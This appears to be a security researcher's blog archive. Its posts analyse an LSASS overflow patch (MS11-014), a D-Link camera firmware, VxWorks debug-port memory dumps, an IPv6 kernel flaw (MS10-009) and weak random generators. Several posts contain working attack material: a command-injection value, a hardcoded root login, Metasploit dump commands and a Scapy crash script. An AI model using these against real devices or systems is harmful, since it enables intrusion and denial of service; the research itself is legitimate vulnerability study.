Tuesday, January 10, 2012

MS11-014: this is not the bug your are looking for …


It could be believed that patch management was an outdated topic for year 2011. However, I have still been asked by a client to challenge their internal patch management policy by delivering a working exploit faster than the XX-day period they waited before patch deployment (XX being somewhere between 10 and 99 - I love random figures like this ;).

This event occurred in February 2011. Having a look at the gorgeous monthly Microsoft release, we decided to target MS11-014 (“Vulnerability in Local Security Authority Subsystem Service Could Allow Local Elevation of Privilege ”), since local bugs are usually easier to exploit reliably.

As this story occurred one year ago, I assume that everybody had enough time to patch. And local exploits are not “wormable”, therefore releasing this information will not result in the end of Internet.

Patch analysis

The patch itself is piece of cake: only LSASRV.DLL has changed, and only 2 functions have changed within that DLL.

FMyPrimitiveHMACParam() only had a few extra NOPs added.

On the other hand, NegpMapLogonRequest() is an excellent candidate, for an extra size check has been added (as shown below in bold red) – sorry for providing unformatted Hex-Rays pseudo-code, I know it is lame ;)

signed int __stdcall NegpMapLogonRequest(char *a1, void *a2, unsigned int a3, struct _MSV1_0_INTERACTIVE_LOGON **a4) {
  if ( v6 > 0x100u || *(_WORD *)v5 > 0x100u
  || (v7 = *((_WORD *)a1 + 2), v7 > 0x1FEu) )
    return -1073741562;

a1 is not really a char* but rather a LSA_UNICODE_STRING, defined as such:

typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;

NegpMapLogonRequest() has two direct callers: NegpCloneLogonSession() and NegpIsLocalOrNetworkService(), which is in turn called from NegLogonUserEx2().

Those APIs are internal to LSASS, and are exposed to other processes through loosely documented LPC calls. The easiest way to trigger that piece of code from any process is to rely on the official LogonUserEx API.

Debugging LSASS

Debugging LSASS locally can be tricky, for it is a critical system process that is involved in the debugging subsystem itself. Do not expect to be able to attach OllyDbg and go away with it … The easiest way to do it seems to rely on the Kernel Debugger itself, which has also the ability to debug any userland process.

That being done, WinDbg confirms that our target function is indirectly called from LogonUserEx() indeed, plus the offending string is the user-supplied domain name

kd> kv
ChildEBP RetAddr
00acfc8c 757434c5 LSASRV!NegpMapLogonRequest
00acfcb4 75742e41 LSASRV!NegpIsLocalOrNetworkService+0x2f
00acfcf8 75742891 LSASRV!NegLogonUserEx2+0xaa
00acfe98 757422ae LSASRV!LsapAuApiDispatchLogonUser+0x33b
00acfeac 75739481 LSASRV!LpcLsaLogonUser+0x22
00acfec4 757393a5 LSASRV!DispatchAPI+0x46
00acff50 75738cfa LSASRV!LpcHandler+0x153
00acff74 75738dbe LSASRV!SpmPoolThreadBase+0xb9
00acffb4 7c80b729 LSASRV!LsapThreadBase+0x91
00acffec 00000000 kernel32!BaseThreadStart+0x37

Wait … does it mean that calling LogonUserEx() with a domain name over 0x200 characters is enough to trigger that bug ? Unfortunately not: because there is no bug … The logon triplet (username, domain, password) will be rejected as invalid – which it is.

Where is the meat?

There is still one missing piece in the puzzle: where is the bug? No vulnerable string copy is to be found anywhere within LSASRV.DLL. And providing an oversized domain name will not result in any crash.

At this point, there are two possible ways to go: one is hard work. The other is laziness efficiency. As Jorge Moura (from Primavera BSS) is credited for the discovery, I emailed him. Not only did he respond over the night, but he also provided me with a test vector. Which turns to be something like:

  LOGON32_LOGON_NEW_CREDENTIALS, // defined as 9
  LOGON32_PROVIDER_DEFAULT, // defined as 0
  &hToken );
ImpersonateLoggedOnUser( hToken );
  NULL, // security attributes

The trick is to specify the LOGON32_LOGON_NEW_CREDENTIALS flag, which has the following effect:

This logon type allows the caller to clone its current token and specify new credentials for outbound connections. The new logon session has the same local identifier but uses different credentials for other network connections.

In that case, new credentials are not immediately checked, but rather stored “as is” in memory for future use. And the crash occurs when the authentication package – namely MSV1_0.DLL – makes use of those new credentials.

Vulnerable function is SspMapContext() in which lies an unbounded, inlined memcpy(). Destination is the local function stack … What else? ;)

Exploitation details

Despite being a “classical”, size-unlimited, Unicode stack overflow, generic exploitation of this bug can be tricky on an up-to-date Windows XP SP3 target.

LSASS process and all Microsoft-provided DLLs that are loaded by default within that process benefit from PEB and stack randomization, are flagged as /NXCOMPAT and /SAFESEH. The offending function is itself protected by a stack cookie (as a result of /GS option). Exploitation is one-shot, since LSASS process death will notoriously result in a forced system reboot.

During that particular assignment, it turned out that Symantec (ex-Sygate) personal firewall also loads SYSFER.DLL (version 1.0.0 at that time – if it means something) into LSASS address space. As this DLL has been compiled without any security option, and given that Windows XP does not provide any ASLR for code mappings, this DLL has been used as a gadget provider for ROP-like exploitation. After some MIASM magic, all client boxes were reliably 0wn3d – thanks to Symantec security products being installed ;)

Outro (a.k.a. TL;DR)

In summary:
  • The effective bug has not been fixed. Any other API that would allow passing an oversized domain name to LSASS could result in triggering the very same bug within MSV1_0.
  • Leave figures to risk managers and top-level management only. It makes no sense trying to define metrics such as “days before public exploit”, when unqualified exploit writers can provide a reliable attack vector within 2 days – not to mention all the people who had access to this flaw before public release. And after one year, this issue is still marked as “no public exploit available” on Microsoft summary page.
  • According to the original discoverer, such a trivial bug (think: oversized domain name provided during user authentication) was found by accident during a software QA session.
  • According to Microsoft security bulletin, this bug only affects Windows XP and Windows 2003. It is assumed (without checking) that memcpy() has eventually been defined as dangerous and replaced as much as possible by memcpy_s(). Is Microsoft aware of the number of security issues it killed? Who knows …

Monday, September 27, 2010

D-Link DCS-2121 and the state of embedded security


I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:
  • Megapixel camera + microphone + speaker
  • WiFi, UPnP and dynamic DNS supported
  • Web and Mobile Web access to streaming data
  • Motion detection
  • SDCard recording
It is also an embedded system running Linux operating system; therefore I decided to have a look at it ;) A firmware upgrade is available here (version 1.04 at the time of writing), which is very convenient for further analysis.

Firmware analysis

$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745

$ unzip dcs-2121_fw_1.04_3227.zip
Archive: dcs-2121_fw_1.04_3227.zip
inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt

$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable

Yes, firmware is … a shell script file! In fact, this file is broken into two parts:
  • A shell script
  • A binary blob

The shell script is very small - interesting parts are the following:

extract() {
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
extract "$self" | ddPack - || exit 1

"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.

CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).

$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s

$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files

$ sudo mount -o loop,ro cramfs /mnt/loop/
ls /mnt/loop/
bin  dev  etc  lib  linuxrc  mnt  opt  proc  sbin  scripts  tmp  usr  var

We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)


# get current setting from tdb
# format looks like VariableName_type
onGetSetting() {

# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
onUpdateSetting() {
        if [ "$command" = "on" ]; then
            /usr/sbin/telnetd 1>/dev/null 2>/dev/null
            killall telnetd 1>/dev/null 2>/dev/null

onDumpXml() {
        xmlBegin index.xsl home-left.lang index.lang
        resultTag $result

scenario=$(basename $0 | cut -d'.' -f1)

. ../../xmlFunctions.sh
. ../../cgiMain.sh

However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().

var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches

Let's focus on those files, and look for possibly unsecure calls.

$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: %s/video
adv_sdcard.cgi: mkdir -m 0777  %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command

So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.

Try #1 with password "toto". Command result is "mntFailure".
Try #2 with password "toto;/bin/true". Command result is "ok" :)

It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?

"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.


start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
/bin/agent &
addlog System is booted up.
echo "rc.local start ok."

So ... "root" password is hardcoded to "admin". How cool is that ? ;)

$ telnet 23

DCS-2121 login: root
Password: admin

BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
uname -a
Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown


As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.

Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)

Bonus: how to find D-Link cameras on the Internet.

Friday, September 17, 2010

MS10-061: "this is not the 0day you are looking for"

As usual, Microsoft Patch Tuesday has been interesting this month.

MS10-061 flaw strikes the Spooler service, and seems to have been exploited by the infamous StuxNet worm.

So, has it been "0day" (as many people tend to believe - like Kostya) ? (no offense man ;)

I let you read that press article from Hakin9 magazine, issue n°4/2009 - you can start reading at the bottom of page #29.

PS. For those of you who can read French, this article has also been quoted at the end of my "most viewed (and commented)" blog post. Hidden gem :)

Tuesday, September 14, 2010

Rapid publishing on recent Adobe flaws

"As usual", Adobe products (namely Adobe Reader and Flash Player) were recently targeted by "0day" attacks in the wild.

I did not have a look at the attacks myself, but several trusted sources (such as H. D. Moore) described the exploit as "great" because it is able to bypass DEP and ASLR on Windows Seven.

Various exploitation tricks have been detailed on blogs such as Metasploit and VUPEN. ASLR bypass mostly relies on a library (namely "icucnv36.dll") not being ASLR-compatible and always being loaded at its preferred base address.

Now to the point: for years, I have been using LookingGlass tool for preliminary triage before any application audit. It has been flying under the radar, but it works really great, and it is Open Source compiled in .NET bytecode.

Here is the result for an up-to-date Adobe Reader 9.3.4. It looks like there are still avenues for DEP/ASLR bypass :)

Wednesday, September 01, 2010

Follow-up on VxWorks issue


As a follow-up to H. D. Moore research on VxWorks, I would like to share some personal thoughts on the matter.

I happen to have some experience with VxWorks, since this operating system used to be quite popular among broadband modem manufacturers. And I have always been fascinated by those SpyBoxes.

VxWorks software is now easier to get ahold of, since trial/evaluation software is readily available. However, by the time of VxWorks 5 (and older), things were a bit more tricky.

HDM pointed out that VxWorks source code leaked on PUDN Web site. As a rule of thumb, most of the world intellectual property is available from the Chinese Internet. However there are many other ways to browse the source (warning: all links below might disappear from the Internet without warning).
  • Universities and student projects [1]
  • Training courses [1]
  • VxWorks enthusiasts [1] [2] [3]
  • Third-party SDKs (for systems that have been built on the top of VxWorks) [1]
  • Hardware hackers [1]
In the end, whatever you are looking for, Internet has it :)


Now let's have a look at VxWorks authentication mechanism (described here and here).

Quoting usrConfig.c:

loginInit (); /* initialize login table */
shellLoginInstall (loginPrompt, NULL); /* install security program */
/* add additional users here as required */
printLogo (); /* print out the banner page */
printf (" ");
printf ("CPU: %s. Processor #%d.\n", sysModel (), sysProcNumGet ());
printf (" ");
printf ("Memory Size: 0x%x.", sysMemTop () - (char *)LOCAL_MEM_LOCAL_ADRS);
printf (" BSP version %s.\n\n", bspVersion ());

Authentication is optional – #INCLUDE_SECURITY must be defined at compile time.

By default, loginUserAdd() must be called for creating each user account dynamically - there is no user/password "file" (since there might be no filesystem at all on the target system).

Password is "encrypted" using a VxWorks-proprietary algorithm. Quoting http://www.xs4all.nl/~borkhuis/vxworks/vxw_pt1.html:
"Q: How can I create (encrypted) passwords?
A: You can use vxencrypt that comes with Tornado to create passwords, but it is pretty weak.
I think it is sum( p[i] * i ^ i )) * 0x1e3a1d5 converted to ascii with a munged hex character set (presumably to make you think there are more than 2^32 encrypted passwords). I think I could reverse that using pen and paper."
Therefore it is possible to log into any VxWorks 5 system in default configuration, given the following steps:

  • Grab a copy of the firmware (more about this later)
  • Find the banner printing code
  • Look a few opcodes before - you will presumably find call(s) to loginUserAdd().
  • Reverse passwords (using pen and paper ;)
Practical use case

Let's take the Trio3C broadband modem that has been widely distributed by Neuf Telecom a few years ago. This model has been superseded by the NeufBox4, and you could find second-hand modems for less than 5 euros nowadays. Trio3C appears to be running under VxWorks 5, and to have remote debugging enabled.

$ ./msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 584 exploits - 297 auxiliary
+ -- --=[ 219 payloads - 27 encoders - 8 nops
       =[ svn r10182 updated today (2010.08.29)

msf| use auxiliary/scanner/vxworks/wdbrpc_bootline

msf auxiliary(wdbrpc_bootline)| set RHOSTS

msf auxiliary(wdbrpc_bootline)| run

[*] VxWorks5.4.2 Centillium Palladia 4K
[*] BOOT: tffs=0,0(0,0)host:/tffs/vxworks.s e= h= u=p220 pw=p220
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(wdbrpc_bootline)| use auxiliary/admin/vxworks/wdbrpc_memory_dump

msf auxiliary(wdbrpc_memory_dump)| set RHOST

msf auxiliary(wdbrpc_memory_dump)| set LPATH /tmp/memory.dmp
LPATH =| /tmp/memory.dmp

msf auxiliary(wdbrpc_memory_dump)| run

[*] Attempting to dump system memory...
[*] Connected to VxWorks5.4.2 - Centillium Palladia 4K ()
[*] Dumping 0x00fef800 bytes from base address 0x80000000 at offset 0x00000000...
[*] [ 00 % ] Downloaded 0x00000b18 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:11 +0200 2010)
[*] [ 00 % ] Downloaded 0x000010a4 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:34 +0200 2010)
[*] Dumped 0x00fefba0 bytes.
[*] Auxiliary module execution completed

The complete memory dump decompiles cleanly in IDA Pro [*] (base ROM address is kindly provided by the debugger).

Unfortunately for the demo, it appears that no hardcoded account is to be found. User accounts and (cleartext) passwords are stored within a configuration file. But that was a fun exercise anyway :)

[*] Actually not, I had to request a patch for the MIPS processor module :)

Wednesday, February 24, 2010


A very long time ago, Microsoft patches used to be boring. Then Microsoft invented the SDL. The amount of patches and vulnerabilities fixed in Microsoft products did not decrease, but each bug became a unique and very interesting one...

February 2010 patches are no exception to this rule: each one of them provides enlightenment for the security researcher.

Let's begin this blog series with MS10-009: "Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution". This is some kind of Holy Grail in computer security: remote code execution through IP packets only!

First of all, this flaw affects Windows Vista and Windows 2008 Server "R1" only. For Windows Vista, Microsoft rewrote the whole TCP/IP stack with the objective to build a native IPv4/IPv6 dual stack. In the process they added a lot of kernel stuff, such as Winsock Kernel (WSK), and they removed deprecated stuff, such as SYN Flood protections (SynAttackProtect et al. registry keys).

Writing a TCP/IP stack is not a task for the faint of heart. Despite Microsoft hiring all sorts of talented engineers, the new stack was found vulnerable to Blat (before build 5270), Land (before build 5270) and Teardrop (before build 5384) attacks.

Even after Vista public release, several security bulletins have been published, addressing issues in the new TCP/IP stack - namely: MS08-001, MS08-004 (this one being specific to Vista) and MS09-048 (this one having a rating of "critical" on Windows Vista and 2008 only).

Therefore, Windows Vista and 2008 TCP/IP stack cannot be considered "mature" and remains an interesting playground for security researchers. Interestingly, MS10-009 vulnerabilities were silently fixed in Windows Seven and 2008 "R2", showing that Microsoft engineers are doing their homework on their side.

Now let's get to the point:
1. ICMPv6 Router Advertisement Vulnerability - CVE-2010-0239
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Router Advertisement packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Router Advertisement packets to a computer with IPv6 enabled."

2. Header MDL Fragmentation Vulnerability - CVE-2010-0240
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to the manner in which the TCP/IP stack handles specially crafted Encapsulating Security Payloads (ESP) over UDP datagram fragments when running a custom network driver."

3. ICMPv6 Route Information Vulnerability - CVE-2010-0241
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Route Information packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Route Information packets to a computer with IPv6 enabled."

4. TCP/IP Selective Acknowledgement Vulnerability - CVE-2010-0242
"A denial of service vulnerability exists in TCP/IP processing in Microsoft Windows due to an error in the processing of specially crafted TCP packets with a malformed selective acknowledgment (SACK) value."

According to KB974145, several files are updated by MS10-009 patch. However we are going to focus on where the meat is, namely "TCPIP.SYS". All screenshots below apply to Windows 2008 "R1" English 32-bit.

Using BinDiff 3, it quickly appears that 39 functions have a similarity of less than "1.00".

Thanks to debugging symbols provided by Microsoft, matching flaws with functions names is pretty straightforward:
  • IppIsUdpEspPacket / IppReceiveUdpEspList will probably be in the path of flaw #2.
  • TcpEnqueueTcbSack will probably in the path of flaw #4.
  • IppHandleNeighborAdvertisement / Ipv6pHandleRouterAdvertisement will probably be in the path of flaws #1 and #3, which we are targeting today.
From that point, diffing is pretty straightforward.

On the left side (patched version), data size is pre-tested against 0x20, whereas on the right side (vulnerable version), data size is post-tested.

Let's have a deeper look at the NdisGetDataBuffer function, which is new to NDIS 6 (Windows Vista and up):

"Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.

PVOID NdisGetDataBuffer(


IN ULONG BytesNeeded, 
IN PVOID Storage,
IN UINT AlignMultiple,
IN UINT AlignOffset
Storage: a pointer to a buffer, or NULL if no buffer is provided by the caller. The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded. If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested data to the area indicated by Storage."

This API is quite hard to understand and clearly violates the principle of least surprise.

The NET_BUFFER structure holds a NET_BUFFER_HEADER structure, in which a NET_BUFFER_DATA structure can be found, which stores a Memory Descriptor List (MDL).

Let's assume that the caller passed a non-NULL Storage parameter to this function. If all packet data has already been allocated into a single (contiguous) memory area, NdisGetDataBuffer will simply return a pointer to this area. However, if packet data is split across several memory areas, NdisGetDataBuffer will concatenate everything into the Storage buffer. This is where the flaw lies, since Storage is a static buffer of 0x20 bytes allocated on stack (in case of Prefix Info option), whereas the vulnerable ICMPv6 option(s) can be of any size (options being passed in Type-Length-Value format).

Now, the last question is: how to force allocation of non-contiguous memory areas? The answer is obvious: using fragmentation, since packets are copied in memory "as is" at NDIS level …

A bit of Scapy magic later, here is one possible command to invoke the dreaded Blue Screen of Death on any IPv6-enabled remote system. This is a fragmented Router Advertisement (RA), using a non standard "Prefix Info" of length of 255. Please note that option size is given in multiples of 8, therefore the following code will trash 255*8 = 2040 bytes of kernel stack with byte 0x41.
v6_dst = "fe80::bd92:3788:79b0:c5d1"

mac_dst = "00:0c:29:de:9b:a8"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
  sendp(Ether(dst=mac_dst)/p, iface="eth0")
This is not the only NdisGetDataBuffer-based flaw that has been fixed, therefore other ICMPv6 options could be used to achieve the same result.

Now, is this ethical to release such a piece of information to the general public? Well, yes, considering the following mitigations:
  • This affects only IPv6-enabled Windows Vista and Windows 2008 "R1" systems (but IPv6 is enabled by default).
  • Microsoft provided a patch a few weeks ago.
  • This could raise NDIS 6 developers' awareness.
  • "Some people" have been working on it for more than 1 year, so it should be considered "available" (if not public).
  • Since Router Advertisements are not honored when TTL is lower than 255, this attack works only on the local subnet and could not be used to wreak havoc on the Internet.
  • "/GS" has proved so far to be an effective mitigation against remote code execution through this flaw ("it is just a DoS"™) – not to mention kernel-mode ASLR.
  • This is a good Scapy + IPv6 use case.
I might not say the same about other TCP/IP flaws that were fixed in this patch, such as the Selective Acknowledgement one …

Mandatory greetz: Arnaud Ebalard (of Scapy6 fame) and Fabrice Desclaux (of Rr0d fame).

Friday, September 11, 2009

Unique is not Random is not Secure

Unique, Random and Secure are three (very) different concepts. Misunderstanding those concepts could lead to severe security issues, as related in this story. However, I had to remove names from the (not so) innocent applications that were harmed :)

Unique values are needed everywhere in modern computing: ActiveX GUIDs, HTTP session cookies, ... However, while some of those values have no identified security impact (e.g. ActiveX GUIDs), others shall meet very strong security properties (e.g. HTTP session cookies).

An attacker should at least not be able to guess some or all values that have been or will be generated. A stronger property is the inability for the attacker to guess past or future values, even if he has access to a subset of generated values at some point.

Let's take a "uniqueness generator" that returns an integer value (whatever size is that integer). How unique this value can be?

Unique values

The value is unique if two successive calls to the same function are guaranteed not to yield the same result.

This property is very easy to achieve, either through a monotonous counter (0, 1, 2, 3 ...) or a timestamp. But those generators do not meet even the lowest security requirements formulated before: they are very easy to predict at any time. Fortunately, cookie value == timestamp has disappeared from the Internet years ago.

Some better generators exist, such as GUID and UUID. Older GUID generators were based on MAC address and timestamp, therefore having far lesser possible outputs than the entire value space. Recent GUID generators are based on cryptographically sound random generators (see below).

Of course, there are limits to "uniqueness": at least the size of the output value. Everything stored on 32 bits will be easy to find out, even if it comes out of a 160 bits hashing algorithm. Moreover, values can be unique to a given computer only, a given process, or even a given thread.

Random values

For security-related tasks, it is often critical to use non-predictable unique generators. Therefore most people began to think "unique == random".

However, true randomness is very difficult to achieve (as PHP knows).

The simplest random generator is the Linear Congruential generator. All values are correlated through the following formula: xn+1 = A * xn + B [N], where A, B and N are fixed values.

On Windows, the rand() function of MSVCRT.DLL uses the following parameters:
A = 214013
B = 2531011
N = 232
Internal state is maintained on 32 bits. However, only the 16 upper bits are returned as a result, masked with 0x7fff. Therefore, rand() produces values between 0 and RAND_MAX, which has a hardcoded value of 215.

This is confirmed on Windows Seven 64-bit as seen below.

Therefore, the odds of guessing rand() output on a single shot is 1 out of 215, which is already bad (as DNS knows).

But finding out rand() internal state (which is trivial with a few known output values) could prove far more catastrophic. In fact, rand() should never be used at all - it is mostly there for compatibility reasons. Good Windows applications make use of CryptGenRandom().
Out of curiosity, I also had a look at the GNU libc. It turned out that rand() has several implementations, the most basic of which (referred as "type 0") being a Linear Congruential generator with the following parameters:
A = 1103515245
B = 12345
N = 232
RAND_MAX = 231
Using this generator to produce int or unsigned int values will immediately leak the internal generator state to the client.
Newer implementations use a Linear Feedback Shift Register.
Secure values

As we saw earlier, random does not always mean secure. But even if the developer used a cryptographically strong random generator, it can still fall prey to implementation mistakes.

One recent example I had is the (Sun provided) java.rmi.server.UID class. Each word is important:
"A UID represents an identifier that is unique over time with respect to the host it is generated on, or one of 216 "well-known" identifiers. (...) A UID instance contains three primitive values:
unique, an int that uniquely identifies the VM that this UID was generated in, with respect to its host and at the time represented by the time value (an example implementation of the unique value would be a process identifier), or zero for a well-known UID
time, a long equal to a time (as returned by System.currentTimeMillis()) at which the VM that this UID was generated in was alive, or zero for a well-known UID
count, a short to distinguish UIDs generated in the same VM with the same time value"
So, secure or not? Hard to tell from the documentation ... Let's run the following code sample:

package uidtest;
import java.rmi.server.UID;
public class Main {
public static void main(String[] args) {
for (int i=0; i < 5; i++) {
UID u = new UID();

$ javac uidtest.java
$ java uidtest


So, it appears that this UID generator is a simple monotonous counter.

Since the Sun JDK has been open-sourced, it is possible to have a deeper look at the implementation:

public UID() {
synchronized (lock) {
if (!hostUniqueSet) {
hostUnique = (new SecureRandom()).nextInt();
hostUniqueSet = true;
unique = hostUnique;
if (lastCount == Short.MAX_VALUE) {
boolean interrupted = Thread.interrupted();
boolean done = false;
while (!done) {
long now = System.currentTimeMillis();
if (now <= lastTime) {
// wait for time to change
try {
} catch (InterruptedException e) {
interrupted = true;
} else {
lastTime = now;
lastCount = Short.MIN_VALUE;
done = true;
if (interrupted) {
time = lastTime;
count = lastCount++;

First field is initialized with SecureRandom() ... once per process.

Second field is time in milliseconds. Second field changes when all possible values for the third field have been exhausted.

Third field is a monotonous 16-bit counter.

Conclusion: you should not rely on Java UID class for secure UID generation!